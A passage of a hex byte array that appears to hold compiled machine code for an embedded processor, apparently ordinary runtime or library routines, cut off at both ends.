0xfb, 0xc1, 0x00, 0x40,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x01, 0x00, 0x28,
0xfb, 0x21, 0x00, 0x2c,
0xfb, 0x41, 0x00, 0x30,
0xfb, 0x61, 0x00, 0x34,
0xfb, 0x81, 0x00, 0x38,
0xfb, 0xa1, 0x00, 0x3c,
0xeb, 0x06, 0x00, 0x00,
0x13, 0xc6, 0x00, 0x00,
0xbe, 0x18, 0x00, 0xb4,
0x12, 0xc5, 0x00, 0x00,
0xeb, 0x38, 0x00, 0x00,
0xbc, 0x19, 0x00, 0x9c,
0xeb, 0x59, 0x00, 0x00,
0xbc, 0x1a, 0x00, 0x88,
0xeb, 0x9a, 0x00, 0x00,
0xbc, 0x1c, 0x00, 0x74,
0xeb, 0xbc, 0x00, 0x00,
0xbc, 0x1d, 0x00, 0x60,
0xeb, 0x7d, 0x00, 0x00,
0xbc, 0x1b, 0x00, 0x4c,
0xea, 0xfb, 0x00, 0x00,
0xbc, 0x17, 0x00, 0x38,
0xea, 0x77, 0x00, 0x00,
0xbe, 0x13, 0x00, 0x28,
0x10, 0xd7, 0x00, 0x00,
0xe8, 0xd3, 0x00, 0x00,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0xff, 0x7c,
0x80, 0x00, 0x00, 0x00,
0x10, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0xc3, 0x58,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd7, 0x00, 0x00,
0xb9, 0xf4, 0xc3, 0x4c,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xdb, 0x00, 0x00,
0xb9, 0xf4, 0xc3, 0x40,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xdd, 0x00, 0x00,
0xb9, 0xf4, 0xc3, 0x34,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xdc, 0x00, 0x00,
0xb9, 0xf4, 0xc3, 0x28,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xda, 0x00, 0x00,
0xb9, 0xf4, 0xc3, 0x1c,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd9, 0x00, 0x00,
0xb9, 0xf4, 0xc3, 0x10,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0xb9, 0xf4, 0xc3, 0x04,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0xb9, 0xf4, 0xc2, 0xf8,
0x10, 0xde, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xeb, 0x81, 0x00, 0x38,
0xeb, 0xa1, 0x00, 0x3c,
0xeb, 0xc1, 0x00, 0x40,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x44,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0x61, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0x16, 0x45, 0x18, 0x00,
0xbe, 0x12, 0x00, 0xd8,
0x12, 0x65, 0x00, 0x00,
0xe8, 0x85, 0x00, 0x24,
0xbc, 0x04, 0x00, 0x50,
0xe8, 0x64, 0x00, 0x0c,
0xbc, 0x03, 0x00, 0x48,
0x12, 0xe0, 0x00, 0x00,
0xe8, 0x64, 0x00, 0x0c,
0xc8, 0x77, 0x18, 0x00,
0xbc, 0x03, 0x00, 0x20,
0x10, 0xc3, 0x00, 0x00,
0xea, 0xc3, 0x00, 0x00,
0xb9, 0xf4, 0xc2, 0x6c,
0x10, 0xb3, 0x00, 0x00,
0xbe, 0x36, 0xff, 0xf0,
0x10, 0x76, 0x00, 0x00,
0xe8, 0x93, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x04,
0xaa, 0x57, 0x00, 0x3c,
0xbc, 0x32, 0xff, 0xd0,
0xe8, 0xc4, 0x00, 0x0c,
0xb9, 0xf4, 0xc2, 0x48,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0xd3, 0x00, 0x14,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0xc2, 0x38,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0xd3, 0x00, 0x24,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0xc2, 0x28,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0xd3, 0x00, 0x38,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0xc2, 0x18,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0xd3, 0x00, 0x3c,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0xc2, 0x08,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0xd3, 0x00, 0x40,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0xc1, 0xf8,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x48,
0xe8, 0xc3, 0x00, 0x88,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0xc1, 0xe4,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0xd3, 0x00, 0x34,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0xc1, 0xd4,
0x10, 0xb3, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x18,
0xbc, 0x23, 0x00, 0x1c,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xe8, 0x73, 0x00, 0x28,
0x99, 0xfc, 0x18, 0x00,
0x10, 0xb3, 0x00, 0x00,
0xea, 0xd3, 0x00, 0xd8,
0xbc, 0x16, 0xff, 0xd8,
0xe8, 0xd6, 0x00, 0x00,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0xfd, 0xa8,
0x10, 0xb3, 0x00, 0x00,
0x10, 0xb3, 0x00, 0x00,
0xb9, 0xf4, 0xc1, 0x84,
0x10, 0xd6, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xb8,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xe4, 0xc5, 0x00, 0x0e,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xb9, 0xf4, 0x03, 0x44,
0x90, 0xc6, 0x00, 0x61,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xe4, 0x65, 0x00, 0x0e,
0x11, 0x07, 0x00, 0x00,
0x12, 0x65, 0x00, 0x00,
0x10, 0xe6, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xb9, 0xf4, 0x05, 0x7c,
0x90, 0xc3, 0x00, 0x61,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x00, 0x2c,
0x10, 0x83, 0x00, 0x00,
0xe4, 0x73, 0x00, 0x0c,
0xf8, 0x93, 0x00, 0x54,
0xa0, 0x63, 0x10, 0x00,
0xf4, 0x73, 0x00, 0x0c,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xe4, 0x73, 0x00, 0x0c,
0xa4, 0x63, 0xef, 0xff,
0xf4, 0x73, 0x00, 0x0c,
0xb8, 0x10, 0xff, 0xe4,
0x10, 0x64, 0x00, 0x00,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xf9, 0xe1, 0x00, 0x00,
0xe4, 0x65, 0x00, 0x0c,
0x12, 0xc7, 0x00, 0x00,
0x12, 0x65, 0x00, 0x00,
0xa4, 0x63, 0x01, 0x00,
0x31, 0x00, 0x00, 0x02,
0x12, 0xe6, 0x00, 0x00,
0xbe, 0x03, 0x00, 0x1c,
0x10, 0xe0, 0x00, 0x00,
0xe4, 0xc5, 0x00, 0x0e,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xb9, 0xf4, 0x04, 0xf0,
0x90, 0xc6, 0x00, 0x61,
0xe4, 0x73, 0x00, 0x0c,
0xe4, 0xd3, 0x00, 0x0e,
0x10, 0xf7, 0x00, 0x00,
0x11, 0x16, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xa4, 0x63, 0xef, 0xff,
0xf4, 0x73, 0x00, 0x0c,
0xb9, 0xf4, 0x01, 0x38,
0x90, 0xc6, 0x00, 0x61,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xe4, 0x65, 0x00, 0x0e,
0x11, 0x07, 0x00, 0x00,
0x12, 0x65, 0x00, 0x00,
0x10, 0xe6, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xb9, 0xf4, 0x04, 0xe4,
0x90, 0xc3, 0x00, 0x61,
0xbe, 0x43, 0x00, 0x28,
0x10, 0x83, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x54,
0x10, 0x63, 0x20, 0x00,
0xf8, 0x73, 0x00, 0x54,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xe4, 0x73, 0x00, 0x0c,
0xa4, 0x63, 0xef, 0xff,
0xf4, 0x73, 0x00, 0x0c,
0xb8, 0x10, 0xff, 0xe4,
0x10, 0x64, 0x00, 0x00,
0x81, 0x20, 0x00, 0x00,
0xa4, 0x65, 0x00, 0x03,
0xa4, 0x86, 0x00, 0x03,
0xbc, 0x23, 0x00, 0x48,
0xbc, 0x24, 0x00, 0x74,
0xc8, 0x65, 0x48, 0x00,
0xc8, 0x86, 0x48, 0x00,
0x80, 0xe3, 0x04, 0x00,
0xbc, 0x27, 0x00, 0x14,
0x14, 0xe4, 0x18, 0x03,
0xbc, 0x27, 0x00, 0x78,
0xb8, 0x10, 0xff, 0xe8,
0x31, 0x29, 0x00, 0x04,
0xc0, 0x65, 0x48, 0x00,
0xc0, 0x86, 0x48, 0x00,
0x14, 0xe4, 0x18, 0x03,
0xbc, 0x27, 0x00, 0x0c,
0xbe, 0x23, 0xff, 0xf0,
0x31, 0x29, 0x00, 0x01,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x60, 0x38, 0x00,
0x88, 0xe4, 0x18, 0x00,
0xbc, 0x27, 0x00, 0x2c,
0x35, 0x43, 0x00, 0x04,
0xc0, 0x65, 0x48, 0x00,
0xc0, 0x86, 0x48, 0x00,
0x14, 0xe4, 0x18, 0x03,
0xbc, 0x27, 0x00, 0x34,
0xbc, 0x03, 0x00, 0x30,
0x31, 0x4a, 0xff, 0xff,
0xbe, 0x0a, 0xff, 0x9c,
0x31, 0x29, 0x00, 0x01,
0xb8, 0x00, 0xff, 0xe0,
0xc0, 0x65, 0x48, 0x00,
0xc0, 0x86, 0x48, 0x00,
0x14, 0xe4, 0x18, 0x03,
0xbc, 0x27, 0x00, 0x10,
0xbc, 0x03, 0x00, 0x0c,
0xb8, 0x10, 0xff, 0xec,
0x31, 0x29, 0x00, 0x01,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x60, 0x38, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0x12, 0x65, 0x00, 0x00,
0x10, 0xa6, 0x00, 0x00,
0x10, 0xc7, 0x00, 0x00,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x00, 0x22, 0x44,
0xb9, 0xf4, 0x40, 0x3c,
0x10, 0xe8, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbc, 0x12, 0x00, 0x14,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x22, 0x44,
0xbc, 0x04, 0xff, 0xe8,
0xf8, 0x93, 0x00, 0x0c,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x56, 0x24,
0x40, 0xc6, 0x38, 0x00,
0xbe, 0x03, 0x00, 0x48,
0x12, 0x63, 0x00, 0x00,
0xe8, 0x63, 0xff, 0xfc,
0x10, 0xb3, 0x00, 0x00,
0x10, 0xc0, 0x00, 0x00,
0xa4, 0x63, 0xff, 0xfc,
0x30, 0x63, 0xff, 0xfc,
0x22, 0x40, 0x00, 0x24,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x74,
0x10, 0xe3, 0x00, 0x00,
0x22, 0x40, 0x00, 0x13,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x28,
0x10, 0x93, 0x00, 0x00,
0xf8, 0x04, 0x00, 0x08,
0xf8, 0x04, 0x00, 0x00,
0xf8, 0x04, 0x00, 0x04,
0x10, 0x73, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xf8, 0xd3, 0x00, 0x00,
0xf8, 0xd3, 0x00, 0x04,
0x22, 0x40, 0x00, 0x1b,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0xff, 0xd0,
0x30, 0x93, 0x00, 0x08,
0xf8, 0xd3, 0x00, 0x08,
0xf8, 0xd3, 0x00, 0x0c,
0xaa, 0x43, 0x00, 0x24,
0xbe, 0x32, 0xff, 0xbc,
0x30, 0x93, 0x00, 0x10,
0xf8, 0xd3, 0x00, 0x10,
0xf8, 0xd3, 0x00, 0x14,
0xb8, 0x10, 0xff, 0xac,
0x30, 0x93, 0x00, 0x18,
0xb9, 0xf4, 0xcd, 0x1c,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xac,
0x10, 0x73, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0x12, 0x65, 0x00, 0x00,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x00, 0x22, 0x44,
0xb9, 0xf4, 0x40, 0x14,
0x10, 0xa6, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbc, 0x12, 0x00, 0x14,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x22, 0x44,
0xbc, 0x04, 0xff, 0xe8,
0xf8, 0x93, 0x00, 0x0c,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0x66, 0x00, 0x00,
0x12, 0xe5, 0x00, 0x00,
0xbe, 0x06, 0x00, 0xcc,
0x12, 0xc6, 0x00, 0x00,
0xb9, 0xf4, 0xb6, 0x08,
0x80, 0x00, 0x00, 0x00,
0xbc, 0x17, 0x00, 0x0c,
0xe8, 0x77, 0x00, 0x18,
0xbc, 0x03, 0x00, 0xe0,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x53, 0x01, 0xa8,
0xbc, 0x12, 0x00, 0xe8,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x53, 0x01, 0xc8,
0xbc, 0x12, 0x01, 0x38,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x53, 0x01, 0xe8,
0xbc, 0x12, 0x01, 0x14,
0xe4, 0x73, 0x00, 0x0c,
0x90, 0x63, 0x00, 0x61,
0xbc, 0x03, 0x00, 0xa0,
0xa4, 0x63, 0x00, 0x08,
0xbe, 0x23, 0x00, 0xcc,
0x12, 0xc3, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x30,
0xbc, 0x03, 0x00, 0x14,
0xe8, 0xb3, 0x00, 0x20,
0x99, 0xfc, 0x18, 0x00,
0x80, 0x00, 0x00, 0x00,
0xbc, 0x43, 0x00, 0xf4,
0xe4, 0x73, 0x00, 0x0c,
0xa4, 0x63, 0x00, 0x80,
0xbc, 0x23, 0x00, 0xbc,
0xe8, 0xd3, 0x00, 0x34,
0xbe, 0x06, 0x00, 0x24,
0x30, 0x73, 0x00, 0x44,
0x16, 0x43, 0x30, 0x00,
0xbc, 0x12, 0x00, 0x14,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xb9, 0xf4, 0xbd, 0x14,
0x80, 0x00, 0x00, 0x00,
0xf8, 0x13, 0x00, 0x34,
0xe8, 0xd3, 0x00, 0x48,
0xbc, 0x06, 0x00, 0x18,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xb9, 0xf4, 0xbc, 0xf8,
0x80, 0x00, 0x00, 0x00,
0xf8, 0x13, 0x00, 0x48,
0xf4, 0x13, 0x00, 0x0c,
0xb9, 0xf4, 0xb5, 0x54,
0x80, 0x00, 0x00, 0x00,
0x10, 0x76, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xb9, 0xf4, 0xb5, 0x30,
0x12, 0xc3, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xe0,
0x10, 0x76, 0x00, 0x00,
0xb9, 0xf4, 0xb6, 0x48,
0x10, 0xb7, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x53, 0x01, 0xa8,
0xbc, 0x32, 0xff, 0x20,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xea, 0x63, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x28,
0xb9, 0xf4, 0xb3, 0xa4,
0x10, 0xb3, 0x00, 0x00,
0x12, 0xc3, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x30,
0xbc, 0x23, 0xff, 0x34,
0xb8, 0x00, 0xff, 0x40,
0xe8, 0xd3, 0x00, 0x10,
0xb9, 0xf4, 0xbc, 0x74,
0x10, 0xb7, 0x00, 0x00,
0xe8, 0xd3, 0x00, 0x34,
0xbe, 0x26, 0xff, 0x44,
0x30, 0x73, 0x00, 0x44,
0xb8, 0x00, 0xff, 0x58,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xea, 0x63, 0x00, 0x08,
0xb8, 0x00, 0xfe, 0xe4,
0xb8, 0x10, 0xff, 0x10,
0x32, 0xc0, 0xff, 0xff,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xea, 0x63, 0x00, 0x04,
0xb8, 0x00, 0xfe, 0xcc,
0x10, 0xc5, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0xfe, 0x58,
0x80, 0x00, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0x12, 0x65, 0x00, 0x00,
0x10, 0xa6, 0x00, 0x00,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x00, 0x22, 0x44,
0xb9, 0xf4, 0x3c, 0x50,
0x10, 0xc7, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbc, 0x12, 0x00, 0x14,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x22, 0x44,
0xbc, 0x04, 0xff, 0xe8,
0xf8, 0x93, 0x00, 0x0c,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0x12, 0x65, 0x00, 0x00,
0x10, 0xa6, 0x00, 0x00,
0x10, 0xc7, 0x00, 0x00,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x00, 0x22, 0x44,
0xb9, 0xf4, 0x3c, 0x10,
0x10, 0xe8, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbc, 0x12, 0x00, 0x14,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x22, 0x44,
0xbc, 0x04, 0xff, 0xe8,
0xf8, 0x93, 0x00, 0x0c,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0x12, 0x65, 0x00, 0x00,
0x10, 0xa6, 0x00, 0x00,
0x10, 0xc7, 0x00, 0x00,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x00, 0x22, 0x44,
0xb9, 0xf4, 0x3c, 0xcc,
0x10, 0xe8, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbc, 0x12, 0x00, 0x14,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x22, 0x44,
0xbc, 0x04, 0xff, 0xe8,
0xf8, 0x93, 0x00, 0x0c,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0x11, 0x66, 0x00, 0x00,
0x11, 0x45, 0x00, 0x00,
0x30, 0x21, 0xff, 0xb4,
0xfa, 0x61, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x28,
0xfb, 0xa1, 0x00, 0x40,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x24,
0xfb, 0x01, 0x00, 0x2c,
0xfb, 0x21, 0x00, 0x30,
0xfb, 0x41, 0x00, 0x34,
0xfb, 0x61, 0x00, 0x38,
0xfb, 0x81, 0x00, 0x3c,
0xfb, 0xc1, 0x00, 0x44,
0xfb, 0xe1, 0x00, 0x48,
0x12, 0xea, 0x00, 0x00,
0x10, 0xc8, 0x00, 0x00,
0x12, 0x68, 0x00, 0x00,
0xbe, 0x27, 0x01, 0xb4,
0x13, 0xab, 0x00, 0x00,
0x16, 0x48, 0x50, 0x03,
0xbc, 0x52, 0x02, 0x70,
0xbc, 0x08, 0x04, 0xb4,
0xb0, 0x00, 0x00, 0x00,
0x22, 0x40, 0xff, 0xff,
0x16, 0x53, 0x90, 0x03,
0xbc, 0x52, 0x04, 0x6c,
0x22, 0x40, 0x00, 0xff,
0x16, 0x53, 0x90, 0x03,
0xbe, 0x52, 0x0a, 0x00,
0x30, 0xa0, 0x00, 0x08,
0x10, 0xa0, 0x00, 0x00,
0x10, 0x65, 0x00, 0x00,
0xa6, 0x43, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x93, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0xe0, 0x64, 0x03, 0x8c,
0x10, 0x65, 0x18, 0x00,
0x37, 0x23, 0x00, 0x20,
0xbe, 0x39, 0x07, 0xac,
0x34, 0x99, 0x00, 0x20,
0x16, 0xd3, 0xb8, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa7, 0x93, 0xff, 0xff,
0x33, 0xc0, 0x00, 0x01,
0x93, 0x13, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x93, 0x18, 0x00, 0x41,
0x10, 0xb6, 0x00, 0x00,
0xb9, 0xf4, 0x2c, 0xb0,
0x10, 0xd8, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0x13, 0x23, 0x00, 0x00,
0xb9, 0xf4, 0x2b, 0x44,
0x42, 0xdc, 0x18, 0x00,
0x90, 0x9d, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x63, 0x00, 0x00,
0x80, 0x63, 0x20, 0x00,
0x16, 0x56, 0x18, 0x03,
0xbc, 0xb2, 0x00, 0x1c,
0x10, 0x63, 0x98, 0x00,
0x16, 0x53, 0x18, 0x03,
0xbe, 0x52, 0x00, 0x10,
0x33, 0x39, 0xff, 0xff,
0x16, 0x56, 0x18, 0x03,
0xbc, 0x52, 0x09, 0x4c,
0x16, 0xd6, 0x18, 0x00,
0x10, 0xb6, 0x00, 0x00,
0xb9, 0xf4, 0x2c, 0x20,
0x10, 0xd8, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd8, 0x00, 0x00,
0x12, 0xe3, 0x00, 0x00,
0xb9, 0xf4, 0x2a, 0xb4,
0x42, 0xdc, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x63, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x9d, 0xff, 0xff,
0x80, 0x63, 0x20, 0x00,
0x16, 0x56, 0x18, 0x03,
0xbc, 0xb2, 0x00, 0x1c,
0x10, 0x73, 0x18, 0x00,
0x16, 0x53, 0x18, 0x03,
0xbe, 0x52, 0x00, 0x10,
0x32, 0xf7, 0xff, 0xff,
0x16, 0x56, 0x18, 0x03,
0xbc, 0x52, 0x08, 0xd8,
0x10, 0x9e, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x60, 0x79, 0x00, 0x00,
0xb8, 0x10, 0x00, 0x8c,
0x80, 0x77, 0x18, 0x00,
0x16, 0x47, 0x50, 0x03,
0xbe, 0x52, 0x00, 0x78,
0x10, 0xa7, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0x22, 0x40, 0xff, 0xff,
